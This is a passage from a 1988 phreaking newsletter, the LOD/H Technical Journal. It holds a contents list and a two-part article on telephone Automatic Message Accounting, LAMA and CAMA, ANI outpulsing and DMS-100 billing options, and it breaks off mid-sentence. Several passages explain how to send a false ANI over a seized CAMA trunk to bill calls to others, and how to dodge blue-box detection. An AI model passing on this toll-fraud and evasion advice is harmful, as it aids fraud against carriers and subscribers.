The LOD/H Technical Journal, Issue #3: File 01 of 11 Released: October 21, 1988 THE LOD/H TECHNICAL JOURNAL ----------------------- INTROUCTION: When putting together a high quality newsletter, it is sometimes difficult to locate suitable articles and arrange with the author for transmission. Difficulties of this type have caused this issue to be almost one year late. All of the older articles have been updated to insure the latest, most accurate information. 2600 Magazine update: Lex Luthors' Hacking IBM VM/CMS Systems article from Issue 2 has been published in the November/December issue of 2600 of 1987. Phucked Agent 04's article on the Outside Loop Distribution Plant has been published in the Fall/88 issue. This brings the total up to 5 articles from the LOD/H Technical Journal that they have published. The others were CLASS by The Videosmith, the TSPS Console by The Marauder, and Update #4 of the LOH Telenet Directory. To subscribe to 2600, which is published quarterly contact: 2600 PO Box 762 Middle Island, NY USA 11953 Or call for more information: (516) 751-2600 You can find the Technical Journal on the following boards: The Phoenix Project: 512-441-3088 Digital Logic : 305-752-8645 (NEW USER PASS = RISC) ------------------------------------------------------------------------------ TABLE OF CONTENTS: 01 Introduction to the LOD/H Technical Journal Staff 02 K and Table Of Contents for Volume 2, Issue 3 02 Understanding Automatic Message Accounting Part A Phantom Phreaker 22 K 03 Understanding Auotmatic Message Accounting Part B Phantom Phreaker 25 K 04 Update file: Shooting Shark's UNIX password hacker Shooting Shark 03 K 05 An Introduction to Teradyne's 4TEL System Doom Prophet 12 K 06 A Cellular Automaton Encryption System The Mentor 29 K 07 Hacking the IRIS Operating System The Leftist 13 K 08 A Guide to Coin Control Systems Phase Jitter 08 K 09 A UNIX password hacker from USENET ------------- 16 K 10 Reprint News Article: 'LOD BUST MYTH' -------------- 13 K 11 Network News & Notes The Mentor 30 K Total: 6 articles, 11 files 173 K ------------------------------------------------------------------------------ The LOD/H Technical Journal, Issue #3: File 02 of 11 $LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$ L L O AUTOMATIC MESSAGE ACCOUNTING O D D $ (AMA) $ L L O An overview O D D $ Written by Phantom Phreaker $ L L O Legion Of Doom! O D D $LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$ This article is meant to provide an explanation of Automatic Message Accounting (AMA) and how it was/is used in the past and present. All information included in this file is correct to my knowledge, however, if anyone notices any errors or has anything interesting to add, try to get in touch with me one way or another and let me know. Hopefully this article will clear up any misconceptions about AMA that have been circulating around on bulletin boards and by word of mouth. Keep in mind, however, that the information here may not be applicable to your specific area or telco. The information contained herein generally applies to the BOC's, and if you are served by an independent telco, your method of billing may differ. This article is aimed more towards the more experienced telecommunications enthusiast. People with limited knowledge may have a hard time understanding the information presented here. However, if you can contact me I will try to answer any questions or clarify anything included in this article that isn't understood. Information will be included in this article concerning the use of AMA in the past. This is being done for people in older areas or areas served by an independent telco that may still be using the old technology. HISTORY ------- In the past, Call Detail Record (CDR) information was collected and recorded by cordboard operators in a process known as manual ticketing. The operator recorded this information by writing it down manually upon a formatted record called a ticket. These tickets were sent to the appropriate office where billing was handled. This manual ticketing process was time-consuming, and was phased out with the introduction of electromechanical switching. Before the advent of AMA, a magnetically operated counter called a message register was associated with each subscribers line in a given central office. This counter was responsible for counting the number of calls that each subscriber made, for billing purposes. This message register was caused to operate one or more times when the called party answered the telephone. The way this works is when the called party answers, a reverse battery signal was sent back over the trunk circuit to activate a relay in the originating office which was responsible for the application of a 48-volt battery to advance the message register the appropriate number of units. A local call is/was usually one message unit, regardless of how long the call lasted. Local calls to further away areas were/are usually two message units. Long distance calls were handled either by cordboard operators, using manual ticketing, or by a method not involving operators known as zone registration. With zone registration, calls to different zones would cause the message register to operate two or more times per time period. This would make the cost higher for longer calls, and less for shorter calls. At the end of the billing period, each message register had to be manually photographed to keep track of the number of calls made by that specific subscriber. These photos were taken by a 35 millimeter camera that was known as a Traffic Usage Recorder, and then sent to the same place that manual tickets (prepared by operators) were. However, this method of billing soon grew costly and inefficient, so a new method, LAMA (Local Automatic Message Accounting) was developed. Additional and more specific information shall be included later in the article. In the late 1940's, the Bell System developed LAMA, which recorded the billing information in a much more efficient manner. However, some end offices did not have enough call traffic to warrant the installation of LAMA equipment. To solve this problem, CAMA (Centralized Automatic Message Accounting) was developed in the mid 1950's. CAMA was different from LAMA in that it was based in a toll or tandem office and could record the AMA information for every end office that it served. More on LAMA and CAMA will be included later in the article. Another development concerning AMA is the computerization of the system, named LAMA-C or CAMA-C, for 'LAMA-Computerized' or 'CAMA-Computerized'. CAMA had used paper tape perforators for a time before the magnetic tape method was introduced with CAMA-C. LAMA-C is a computerized version of LAMA which also uses magnetic tape (LAMA-C is still used today). LAMA and LAMA-A (previous versions) used paper tape, although LAMA-A was more efficient. LAMA, LAMA-A, CAMA, and CAMA-C were all part of the AMARS, the Automatic Message Accounting Recording System. However, a newer term for more modern setups is the AMACS, for Automatic Message Accounting Collection System. The AMACS includes end office AMA systems, a recent introduction called the AMARC (AMA Recording Center), AMARC sensors from end offices to the AMARC, the data links used to transmit billing information, and data recievers located at the AMARC site. The AMARC is a product of the new age of computerized technology as it applies to the telecommunications systems used in our society. Still, LAMA and CAMA and their different versions shall be described and explained to help people understand how they were/are used. LAMA ---- LAMA is described by Notes on the Network (1983) as 'A process using equipment located in a local office for automatically recording billing data for message rate calls and for customer-dialed station to station toll calls'. What this is means is that if your CO uses LAMA, and you are on a single party line (most people are), all 1+ toll calls will be billable by LAMA equipment, and all calls coming from message rate lines. A message rate line, for those of you not familiar with the term, is a telephone line that has the ability to receive incoming calls, but all outgoing calls will cost the subscriber. The subscriber pays for basic service (the ability to receive calls) with the consideration that all other calls (even local ones) will cost a certain amount of money per call. Many subscribers in several major cities get this feature automatically, and thus phone bills are generally higher in these areas. LAMA originally recorded billing information on punched paper tape, in a version known as LAMA-A, but now magnetic tape is generally the format used in places where LAMA-C equipment is used. The paper tape perforators that recorded the CDR data in LAMA-A were noisy, and they needed maintenance due to their electromechanical construction. The magnetic tape method is much more reliable, and quieter as well. If a persons End Office uses LAMA, then all toll calls from all lines and all local calls from metered rate lines are recorded on the LAMA tape, with a few exceptions. LAMA can only be used to record AMA information for one and two party lines. On other party lines such as three and four party, the originating caller has his/her number identified by an operator via the ONI (Operator Number Identification) method. It is not been determined by the author if the BOC (Bell Operating Company) operators such as TOPS (Traffic Operator Position System, made by Northen Telecom Inc. of Canada) or MPOW (Multi-Purpose Operator Workstation, by US West) operators would be used for this ONI or not. I would guess that AT&T TSPS operators would handle an inter-LATA toll call, and that the BOC TOPS/MPOW operators would handle the ONI for an intra-LATA call (my reasoning behind this statement is the fact that whenever I have had an ONI due to equipment failure, which is similar to ONI needed, only the ANI outpulsing was garbled, the called number was still transmitted in the correct fashion. I am assuming that the end office switching system would route the call to the correct operator position by matching the NPA-NXX with some sort of internal table which makes a distinction between intra and inter-LATA calls). Anyway, these calls had their AMA information sent from the appropriate operator position to the toll office that served the 3+ party line, onto CAMA tape. Another instance in which a LAMA office may use CAMA instead is when an ANIF (ANI Failure) occurs. If the ANIF is sent to TSPS, then that TSPS will record billing information upon CAMA tape by using ONI. It seems that AMA information that has been recorded by an operator is buffered and stored until it is time to send the information to the appropriate places for processing. In the case of AT&T TSPS operators, the TSPS had it's own magnetic tape which was sent to the RAO (Regional Accounting Office, formerly called Revenue Accounting Office) on a regular basis. I am not sure if this method is still used or if TSPS AMA has been updated or enhanced in some way. EXAMPLES OF LAMA USAGE ---------------------- The following is the call flow procedure in a LAMA-A (paper tape) system. After a customer completes dialing, the dialed number (the called number), the originating class of service, Line Equipment Number (LEN), and call type are sent from the switch to the AMA equipment. Translations, such as figuring the billing telephone number from the Line Equipment Number, are done. The information that comes from the translations procedures determines which paper tape perforator shall be used to record the data for this specific call. A record of the initial information gathered is called the initial entry. The last line of the initial entry contains a two digit code called a Call Identity Index, which identifies telco equipment such as the trunk or district junctor that will be used for that call. When the call is answered, another entry is made, called the answer entry. This entry is a single line on the paper tape and has the CII and the exact time that the call was answered on it. The last entry on the paper tape is known as the disconnect entry. This entry contains the CII and the exact time that the call ended. The CII is important because it is what the RAO used to group together all the data about a given call. Entries are recorded at different times in a LAMA system, they are not in sequential order, so the CII makes it easier to find all three entries for a specific call. This method of recording AMA information required the RAO to 'unshuffle the deck' when it came time to organize the AMA information. The variations in the AMA recording formats used by different switching systems eventually led Bellcore to develop a standard AMA format, named the Bellcore AMA Format (BAF). More information will be included about this format later in the article. In a No. 5 Crossbar switching system, the AMA setup used special purpose 3 inch wide paper tape on which AMA records were recorded by CO equipment. This method of recording is for the stone ages, as it has been phased out by almost every BOC. Similar to the LAMA-A call flow, this method of AMA used three AMA entries. The first one was the customers service information, which included the calling and called telephone numbers, the second one was recorded when the telephone was answered, and the third one was recorded at disconnect. This also made the job at the RAO a bit harder, as again, they had to 'unshuffle the deck'. The No. 2 ESS introduced the latest magnetic tape recording technology that was available at that time. The 2E used 200 BPI, 7 track mag tapes, and it introduced special data coding conventions. It's technology and conventions are still in use today, but I think that the BPI and number of tracks have been increased. The 2E mimics the No. 5 Crossbar AMA method by recording three entries and interleaving them on the magnetic tape. Data common to all calls on a tape (such as date, CO info, etc.) are recorded in special tape headers. The No. 2B ESS was introduced with the same AMA technology as the 2E, but a 2B that provides equal access capabilities for interexchange carriers adds a new data entry to the three used by the 2E. This new entry reports the time of connection of a carrier to the local network, which is needed for carrier access billing. The No. 1 ESS modernized the AMA process even more. The 1E used 200 BPI, nine track tape. The 1E provides data collection memory registers for AMA information on applicable calls. A register is assigned to an AMA call and kept open for the call's duration. This register collected most of the billing data that was needed. The AMA information was then written to magtape at the time of disconnect. This made it easier for the RAO to process. The AMA format used by the 1E uses variable length records whose fields occur for the most part in a general, preset pattern. Eventually, though, even the 1E AMA method was found to be slightly faulty. This was due to high processing costs at the RAO and the problem of tape headers getting erased from the tape. The BAF was made to solve the problems that are associated with other AMA setups. An update to the BAF is called the EBAF, or Extended Bellcore AMA Format. The main difference between the BAF and EBAF is that EBAF is more flexible and can be used easier, as the BAF uses a defined structure for storing data. The EBAF can append other information to the end of an AMA record, and this makes it more flexible. ANI FORMATS ----------- The ANI formats outpulsed in a LAMA arrangement are as follows (assume that the call being shown for an example is being dialed from a home telephone, as dialing from coinphones would cause different ST signals to be sent; also the type of signaling in this case is SF in-band): CALLED number:KP+(NPA)+NXX+XXXX+ST CALLING number:KP+I+NXX+XXXX+ST The second format is the ANI associated with LAMA and is sent to the LAMA equipment after the ANI receiving trunk winks. The NPA included in this example is optional and only needed if the subscriber is making a call to a Foreign NPA (FNPA). The complete called number is not included in all cases, as when an AMA setup is configured for bulk-billing. In bulk-billing, the entire called number is not recorded, but just enough for billing purposes. The CALLING number is the number that the subscriber is dialing from. These two numbers are sent in Multi Frequency (MF) tones to MF receivers located within a CO. The I in the ANI is an information digit, and these shall be explained later in the article. One may wonder how a CO knows which lines it serves are message rate lines and which are flat rate. On electromechanical switches such as Step by Step, No. 1 and No. 5 Crossbar (it should be noted that there are no remaining panel switches within the Bell System), there is an electronic line card associated with each Directory Number which holds information relevant to that line. These cards have to have any type of change hardwired into them. However, in digital/ electronic switching systems, there are Line Class Codes which reflect information about each subscribers line. There are many, many of these codes. Some of the more common and interesting ones are listed below: LCC EXPLANATION --- ----------- 1FR Single party Flat rate Residential line 1MR Single party Metered rate residential line 1CF Single party Coin First coin telephone 1OF Single party Official (telco) line 1FB Single party Flat rate Business line 1MB Single party Metered rate Business line These codes can be found for a line in several places, such as certain fields in telco computer output reports. COSMOS and LMOS are two such computers that hold this information. If you find COSMOS printouts or have access to COSMOS, these Line Class Codes will be listed under the 'LCC' field in an ISH, INQ, or other inquiry. Sometimes the data in the LCC field will match or be similar to the data in the US field, which is a USOC (Universal Service Order Code). A USOC and an LCC aren't the same thing though. CAMA ---- CAMA operates along the same basic principle that LAMA does, except that CAMA is based in a toll or tandem office (class 4). CAMA is made to be used in areas where it would be costly to implement a LAMA arrangement for each and every class 5 office. This is because some end offices did not have enough traffic to warrant the cost and work required to install LAMA equipment. LAMA setups can/could be found in abundance in rural areas near large cities. The first letter in each of the acronyms (L)AMA and (C)AMA describes the usage of each. (L)AMA, for Localized, in a local central office, and (C)AMA for Centralized, in a toll office. The outpulsing formats to CAMA are similar to the LAMA ANI outpulsing. The outgoing trunk to the serving CAMA office from the end office sends the called DN in the format of KP+(NPA)+NXX+XXXX+ST. Next, the incoming CAMA trunk requests the end office to send the calling number. This is sent as KP+I+(NPA)+NXX+XXXX+ST, where the I is an information digit which gives information about the status of the process, and the NPA may or may not be needed, depending upon the setup. The information digits that follow are used in ANI outpulsing to Local and Centralized AMA. They are: 0-Automatic Identification (a normal call, with no special treatment); 1-Operator Identification (ONI-call is sent to an operator who requests the customer to give the number they are calling from); 2-Identification Failure (ANI Failure, handled the same way as ONI). The ONI due to ANIF and normal ONI which is used on certain party lines are kept track of. If too many ANI Failures happen, then a report will be generated indicating this fact. ONI needed is more standard and ordinary, and thus safer for the telecommunications enthusiast. This information can be put to a good use, as if you find an outgoing CAMA trunk when you are boxing, you can place calls over it by using the above CAMA formats. The only limiting factor is that the NXX of the calling number that you sent for ANI must be an office that is served by the particular CAMA offices trunk that you are using. Note that CAMA is not used much anymore, it was mainly used with Electro- Mechanical toll switches such as the No. 4A Crossbar, and the Crossbar Tandem (XBT). I don't think there are any XBTs or 4As in operation in the AT&T toll network, but CAMA may be used by independent telcos, or by telcos in rural areas that serve only a small number of central offices. In an independent telco setup, a CAMA arrangement may be used, but not in the same way as AT&T has used it. The centralized location may not be a toll office, it may just be the largest CO in that companies network. There can be several variations. CAMA was originally introduced to work with and in conjunction with ANI, thus the original term for the process, CAMA/ANI. For a complete description of ANI in electromechanical switching systems, see one of the older issues of Phrack Inc. newsletter for a file written by Doom Prophet and myself, titled 'Automatic Number Identification'. I have seen CAMA mentioned in recent telco information, so I assume that CAMA is still in use, at least in some places. Supposedly a way to determine if you are on CAMA is to dial local numbers, and send 2600Hz. If you can seize a trunk, then it is likely that you are served by CAMA. You can then pick local exchange codes, (NXX), dial them, seize a trunk, and then MF using the CAMA format included above, sending a false ANI for one of the local exchanges. If you do this, I suggest that you don't send the ANI of a resident. Use non-working numbers, disconnected numbers, payphone numbers. I am not sure if there is any check done upon the number sent in ANI by the toll office or not, but it is probable that the local switch is responsible for screening out invalid numbers and such. So if you can get on a CAMA trunk then you have the power to bill calls to anyone else who is served by a CO that homes in on the same toll office and uses the same CAMA equipment. The LOD/H Technical Journal, Issue #3: File 03 of 11 $LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$ L L O AUTOMATIC MESSAGE ACCOUNTING O D D $ (AMA) $ L L O An overview O D D $ Written by Phantom Phreaker $ L L O Legion Of Doom! O D D $LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$ The standard AT&T Toll office switch, the No. 4 ESS, is also equipped to handle CAMA if necessary. The CAMA procedure is as follows: Call data for the CAMA call is kept in a buffer (technically called an Accounting Block (AB)) which then stores the entry upon a nine track 800-bpi (bits per inch) AMA tape (note: the information used in research for this part of the article was rather old, so the bits per inch has probably increased). The data that are kept in this buffer and put on the tape are as follows: the calling DN, the called DN, answer and disconnect times accurate to 0.1 second, and other misc. information. The callers DN can be entered into the 4ESS in two ways, ANI or ONI. ANI is of course the normal method for identifying a callers DN for billing purposes. ONI is used when there is an ANIF, or when it is needed (the other equipment cannot get the DN with ANI). When the 4E gets an ANIF or an ONI needed, it sends the call to a TSPS operator, who should ask the caller for their number. When an operator gets an ONI situation 'from' a 4E, she uses two types of trunks, a talking trunk, and a keying trunk. The talking trunk is what the subscriber comes in upon and is the line over which the operator asks for the callers DN. The keying trunk originates at the 4E and terminatates at TSPS, and is what is used to send the callers DN (in MF) to the 4ESS office. The operator has access to both trunks at the same time, thus she can enter the number in a quick and orderly fashion. When a line classification does not fit into the 'one information digit' (KP+I+NNX+XXXX+ST) category, two information digits are used. When two are used, they are called screening codes. Screening codes are outpulsed along with the ANI for certain types of telephone lines, and when ANI is being sent to an alternate carrier via 'Equal Access' (Feature Group D, 1+ dialing). These screening codes are two digits and precede the subscribers DN. An example of screening code outpulsing is as follows: KP+II+NNX+XXXX+ST The II represents two information digits that precede the callers number. Some of the more common screening codes are as follows: KP+00+NXX+XXXX+ST Normal telephone call, identified POTS line; KP+01+NXX+XXXX+ST ONI needed on a multiparty line; KP+02+NXX+XXXX+ST ONI needed due to ANI Failure; KP+07+NXX+XXXX+ST Hospital, inmate type telephone; KP+08+NXX+XXXX+ST Line restricted from dialing inter-LATA; KP+10+NNX+XXXX+ST Telco test call; KP+20+NNX+XXXX+ST Automatic Identified Outward Dialing centrex call; KP+27+NNX+XXXX+ST Coin telephone call. These double digit outpulsing formats are used in Equal Access areas, and a similar method of outpulsing is used when customers deal with TSPS operators. For more information, see the July, 1987 issue of 2600 Magazine, an article entitled 'How phreaks are caught'. AMARC ----- The AMARC, or Automatic Message Accounting Recording Center, is a fairly modern development toward recording billing information. It offers the telco several advantages to the older electromechanical setups, such as increased revenue (always a plus in their eyes), reduced RAO processing costs, a new computerized format that stores data on 1600 bpi, industry compatible magnetic tape, elimination of loss due to paper tapes being destroyed, and elimination of per-office paper tape pickup and delivery. THE NO. 1 AMARC --------------- The first version of the AMARC was the No. 1 AMARC, which received billing data on a real-time basis over dedicated data links. It was based on two DEC PDP-11/40 minicomputers. The No. 1 AMARC controls and recieves data from a maximum of thirty dedicated channels. A channel consisted of a dedicated line (probably a Private Line service) equipped with a 202T data set, operating asynchronously at 1.2 kbps. The No. 1 AMARC had a feature which allowed it to call, over the DDD network, a backup channel in case one of the normal channels experienced a failure. This backup channel could be reached by anyone who had the phone number. It has not been determined by the author if there was/is any security on these backup channels. THE NO. 1A AMARC ---------------- Eventually, it was decided that more data channels were needed, and that the AMARC computer could be centralized, and not clustered in administrative centers, as was the procedure. The No. 1A AMARC fulfilled the telco's needs. The No. 1A AMARC uses a higher capacity minicomputer, the DEC PDP-11/70, and Western Electric peripheral equipment to provide ninety input channels, improved maintenance capabilities, and room for growth in several areas. The first No. 1A AMARC began operation in 1981 in the Chicago area. An important feature common to both the No. 1 and No. 1A AMARC was the ability to recieve billing information electronically over dedicated lines from central office switches. Equipment located in central offices called sensors send this data. There are different types of sensors for different types of switching equipment, but the most common AMARC sensors shall be listed here. The Call Data Transmitter (CDT). The newest AMARC sensor. The CDT is a microprocessor based system which is used to collect data from No. 5 crossbar offices. It is designed to be used in systems that do not have LAMA-A and do not have enough traffic to warrant the expense of installing the No. 5 ETS. It can be used with other sensors, and is not the only kind used in No. 5 crossbars. The first one was cut over in Illinois in 1980. The Call Data Accumulator (CDA). Similar to the CDT, but uses wired logic control. The CDA, which collects AMA information from SxS switches, was the first sensor to be made for use with the AMARC. This sensor is connected to the ring, tip, and sleeve leads in a SxS switch, probably at the MDF. The first CDA was cut over into service in New York in 1975. The Billing Data Transmitter (BDT). Used in electromechanical offices, such as the Nos. 1, 5, 4, and 4A Crossbar, SxS CAMA, and the Crossbar Tandem (XBT). The BDT replaced up to 10 paper tape perforators that were previously used. Provides a newer alternative to LAMA-A. The BDT recieves billing data from the older LAMA-A paper tape recorder circuits and sends them to the AMARC. The first BDT was cut over in New York in 1976. The No. 5 Electronic Translator System (ETS). The No. 5 ETS was added to No. 5 Crossbar systems to provide some electronic switching functions that were not present before. These functions are things such as line, trunk, and routing translations provided by software methods rather than wired cross connections. The No. 5 ETS consists of duplicated Western Electric 3A auxillary processors with associated scanners and distributors. The first No. 5 ETS was installed in Ohio in 1977. VIDAR, a special sensor used in Crossbar No. 1 offices. VIDAR does not interface with the AMARC but instead sends data to it's own tape. This tape is then sent to the RAO on a regular basis. These various sensors are specially designed electronic units which are part of or connected to class 5 offices. These sensors collect and generate billing data from the office they are used with. The billing data consist of answer and disconect times, call type, and the amount of measured local and toll calls made. Some offices have added sensors, but exceptions include several ESS systems which use SPC (Stored Program Control) to send data to the AMARC. SPC means that the sensor is built into the switch software and that no other equipment is needed. An example of this is the NTI DMS-100 switch. Nos. 2, 2B, 3, 3B, and No. 5 ESS also do not have special AMARC sensors, but send data to the AMARC over a synchronous connection via a SPUC/DL (Serial Peripheral Unit Controller /Data Link) at speeds of 2.4 and 4.8 kbps. There is another part in the 2B ESS AMARC data link, called the AMARC Protocol Converter (APC). The APC is a medium between the SPUC/DL and the AMARC. The No. 4 ESS, TSPS, 1ESS, 1AESS, and 2ESS switches don't have AMARC sensors, and aren't even connected to the AMARC. These switches all have their own AMA systems, from which the data is sent to the RAO regularly. Another exception is the DMS-10 Remote Switch, which is connected to a device at the RAO called a collector. There are other options possible when dealing with AMA collection, such as the Distributed Call Measurement System (DCMS) made by a telco equipment vendor, which acts like a mini-AMARC, and Northern Telecom's Distributed Processing Peripheral system, which is used to collect billing data from NTI's DMS switches. These systems can be used where applicable. RECENT DEVELOPMENTS ------------------- In places where magnetic tape has been phased out, a new method of storing the AMA data called AMA TeleProcessing Systems (AMATPS) has been implemented. AMATPS overcomes the disadvantages of magnetic tape (such as the sequential way the data is recorded, the high-density data losses that may happen, and the sometimes unseen problems with the tape unit) by using random access disk drives. AMATPS also adds some new system parts which can make the job easier. Still, some AMATPS are not used to their full capability and can still present problems to the telco. One of the parts that AMATPS adds to the overall AMACS is the use of AMA Transmitters (AMAT's). These transmitters are added to the sensors, and increase the power of the overall setup by providing things such as temporary storage areas and programming applications. AMAT's are generally PC-sized machines with two disk drives, and 50-150 megabyte hard disks. The second important addition is the collector. The collector acts like the AMARC by polling the AMAT over data links. The collector, like AMARC, is a centrally located computer system, usuallly running on an IBM Series 1, an HP-1000, or an AT&T 3B5. Teleprocessing systems are made to understand a common AMA language format made by Bellcore, the Bellcore AMA Format and Extended Bellcore AMA Format. These were mentioned in part A of this article. BOC/AT&T INTERACTION -------------------- Since the majority of people are served by AT&T, one may wonder how inter- LATA call data gets to the given Inter-LATA Carrier (IC), in this case, AT&T. AT&T has its own AMA collection system, which is called BILDATS (BILling DATa System), and this is what collects the AT&T data. I would guess that each AT&T toll office has some sort of interface with this computer system, but I have no solid proof of this. It has also been suggested to me from a reliable source that AT&T sends each BOC their own magnetic tapes, which the BOC's then fill with AT&T's billing information. I am not sure which of these methods is used. The BOC billing information takes a different route, however. On a regular basis (I believe each day), AMARC tapes are sent to the Regional Accounting Office (RAO) or billing office, where each customers intra-LATA traffic is calculated and their telephone bill printed and mailed. The customer then recieves the bill and goes about whatever method of payment he chooses. Telephone bills can usually be paid in person in many different places in large cities, or they can be mailed in directly if the customer wishes. In my area, the customer pays once, which is a total of his AT&T and BOC bill. This is payable to the BOC, and AT&T then gets their payment from the BOC. In the case of independent carriers such as US Sprint, MCI, ALC Communications, and the like, I cannot say for sure what they all do as there seems to be no standard procedure for this interaction, but in two instances, two specific RBOC's (US West and BellSouth) handle FG-D Equal Access style billing for MCI throughout their serving areas. There is a computer system involved in this alternate carrier billing cycle, called the Carrier Access Billing System (CABS). This system calculates the prices bases on tariffs in use, and bills the carriers on a monthly basis accordingly. I am not sure how widespread the use of this sytem is, though. When the customer receives his MCI bill along with his BOC bill he can pay them both at once. I would imagine that the larger long distance services would be able to afford getting this service from the RBOC's, while the smaller ones with less money would do it by themselves, which would probably be a slow, drawn out process. In some cases, dialing via an alternate carrier (other then your primary one) will cause the billing cycle to take anywhere up to three months to complete, or even more. Another interesting note about alternate carrier dialing, some carriers do not start billing until a specific amount of time has elapsed. This is known as buffer-zone billing. I know of one company that uses a 45 second buffer zone, but I am not sure what the other companies use. You can find this information out by talking to a customer service department, however some companies CS departments either don't know, or they do not wish to tell the customer (or 'potential' customer). With buffer zone billing (assume 45 seconds in this case), you will be billed for the call if you let the phone ring, listen to a busy signal, etc. if the duration of the call is greater than or equal to 45 seconds. Many of the ICs that use this type of billing do not have the equipment to detect answer supervision, so if you can keep a conversation very short, you may get away with a free call, without breaking any laws. CALL CREDITING -------------- When you receive credit for improperly placed long distance calls from an operator or a telco business office (after you receive your phone bill) certain things happen. Operator crediting involves the operator entering a special flag on an AMA tape to deduct the specific amount of given charge from the subscriber's telephone number. I believe that this process involves (with AT&T TSPS) the KP TRBL key, and (with NTI's TOPS) the KP TRBL and the CHG ADJ (charge adjust) keys. Business office crediting happens when you call the business office and talk to a BOC 'service representative'. This person will then enter your telephone number into a terminal, using the DOE (Direct Order Entry) system, which is in use in my area. The billing record information comes from a computer called CRIS (Customer Record Information System), which is accessed by BOSS (Billing and Order Support System). BOSS has a link to computer systems at the RAO, as this is how the customer's toll data gets to the business office. A service representative can then pull up your toll charges and correct them with appropriate credit entries. SECURITY (EVERYONE READ THIS PART) ----------------------------------- There have been several rumors going around about AMA and it's relation to people who commit toll fraud, and I will attempt to clarify these rumors. It is possible that a billing tape could be used to try to find out who called a certain number at a given time. Another way AMA tapes/disks could be used as a record of someone committing toll fraud would be if this person would happen to be under a newer switch, such as the DMS-100, and they attempted to use a blue box without knowing the dangers of it (I will speak only on the DMS-100 because when a older switching system is replaced with a new one, the most common replacements are the AT&T No. 5 ESS and the Northern Telecom DMS-100 Family of switching systems). DMS-100 does indeed have the capability to record a blue boxer's MF tones in an AMA record if the boxer doesn't know what he is doing. 1AESS also has blue box detection features. I am not sure about other switching systems, but I would guess that most of the newer switches have some sort of blue box fraud detection features, of course the end user of these switches (the telco) does not have to use them. However it is difficult to find out if your CO uses anything of this nature unless you are a good social engineer or have access in some way to the switch or switch output messages and know what to look for. For instance on the Northern Telecom DMS-100 switching system, there are a series of reports known as BLUEBOX reports which (if in use) will inform the telco of blue boxing activity. The DMS-100 also has AMA options that can detect certain forms of electronic toll fraud, such as black and blue boxing. These options can be set any way the telco wants. These AMA options can be printed on a DMS-100 switching system,onto hardcopy terminals, or onto a data channel which may send the Output Messages (OMs) to a telco computer system such as the Switching Control Center System (SCCS). These options are printed in an AMA118 OM at midnight. If an AMA option is in use by that particular switching system, after the name of the option will be a data field that says ACTIVE. If the option is not in use, the field will say INACTIVE. An example of an AMA118 OM is reproduced here. AMA118 JUL23 12:00:00 2234 INFO AMA-OPTIONS AUDIT: ACTIVE CALL-FWD: ACTIVE CDAR: INACTIVE CHG411: ACTIVE CHG555: ACTIVE COIN: INACTIVE DA411: ACTIVE ENFIA-B-C: INACTIVE FREECALL: INACTIVE HIGHREV: INACTIVE INWATS: ACTIVE LNID: INACTIVE LOGAMA: INACTIVE LOGOPT: ACTIVE LONGCALL: ACTIVE LUSORIG: INACTIVE LUSTERM: INACTIVE OBSERVED: INACTIVE OCCOVFL: ACTIVE OCCTERM: ACTIVE OUTWATS: ACTIVE OVERFLOW: ACTIVE SST: ACTIVE TIMECHANGE: ACTIVE TRACER: ACTIVE TRKID: INACTIVE TWC: INACTIVE UNANS-LOCAL: INACTIVE UNANS-TOLL: ACTIVE The most important ones for phreaks to know about are INWATS, LONGCALL, SST, UNANS-LOCAL, and UNANS-TOLL. INWATS means that calls to 800 numbers are noted in an AMA record. As far as I know, this option is a required one, at least since Bulk Change Supplement 23 (BCS23). LONGCALL will flag long calls in an AMA record. So if it seems to the switch that someone has been on the phone for a long time, this will be logged. A possible use for this would be to detect trouble conditions. This option, used in past switching systems, may have been the cause of many blue box busts. Someone would box for several hours using the same number (for instance, Directory Assistance) and this may have been noted by the switch. Another way I think old time boxers may have been nailed is from boxing off of DA. As you can see in the above listing, there are several options that probably make AMA entries for calls to DA. If the length of a call to DA lasts longer than a certain amount of time, the telco could possibly detect this and attach a monitoring device upon the suspected persons telephone line. The AMA option 'SST' may also be responsible for blue box busts in the recent past. SST stands for Short Supervisory Transition, and an SST is known to the phreak world as a wink. SSTs are generated when a blue boxer seizes a trunk. The switch can detect these and log them in an AMA record if the option is set to ACTIVE. SSTs are not solely caused by boxers, though, as equal access offices can generate a lot of SSTs in normal operation. I believe that trunking arrangements with ICs (InterLATA Carriers) are often responsible for triggering these. One toll office I knew of had thousands of SSTs on a plant measurement report, so if this option is ACTIVE, it may not be EXTREMELY dangerous, but it can't hurt to know about this. One possible way around the SST detect is to make your 2600Hz tone last several seconds. I do not remember the exact figure, but after a certain number of seconds an SST ceases to be an SST ceases to be an SST. I am not sure if these longer transitions are logged or not, or if there is even an option for this. However I believe that the BLUEBOX feature could not be fooled by doing this. BLUEBOX, if activated, will detect any foreign winks after a necessary one (necessary for call completion) occurs. Of course you can always avoid having your DN associated with anything like this by re-directing your call flow, which can be accomplished easily. Another AMA option that could be used to catch black boxers is the UNANS-TOLL option. When this option is ACTIVE, toll calls ringing longer than a specific period of time can be logged in an AMA record. Someone calling toll from a DMS-100 to a person using a black box (does anyone still use devices like the black box anyway?) in a no. 5 crossbar may trigger this option to be logged. I say 'may' because I am not positive about this, the option could also be used in other ways, I imagine. The ENFIA-B-C option is one that could possibly present a problem to a telecom enthusiast. I have seen the term ENFIA (Exchange Network Features for Interstate Access) associated with a Feature Group A (POTS dialup) long distance service. ENFIA-B and C mean FG-B and FG-C service. FG-A and B (POTS and 950+1/0xxx respectively) could possibly be used to record information concerning toll fraud. For instance, I know of one service (FG-D and FG-B) that has the ability to check a telcos' magnetic tape to see what numbers have been accessing their service. If a large amount of fraud became a problem, the carrier could get the AMA information to try and determine who is committing toll fraud. I'm not sure if other companies have this option, I would guess that almost all of the major companies (MCI, Sprint, Allnet, etc.) have the ability to use something of this nature to track down security problems. Have you ever wondered why many of the old blue boxers were caught? It is due to the use of AMA. AMA records can reveal boxing patterns, and this info can be used by the telco to track down blue/red/black box users. So if you are a person who practices any of these methods, be aware of what you are up against. Boxing has been around for a very long time and the telco knows all about what goes on and the different methods that people use. So use care. An informed phreak is a free phreak. SUMMARY ------- Hopefully this article has helped clear up any misconceptions about AMA that anyone might have had, as well as provide a reference to be looked back on. The information contained in this article can also be used for social engineering purposes, if you so desire. However, I do not intend for any of this information to go into 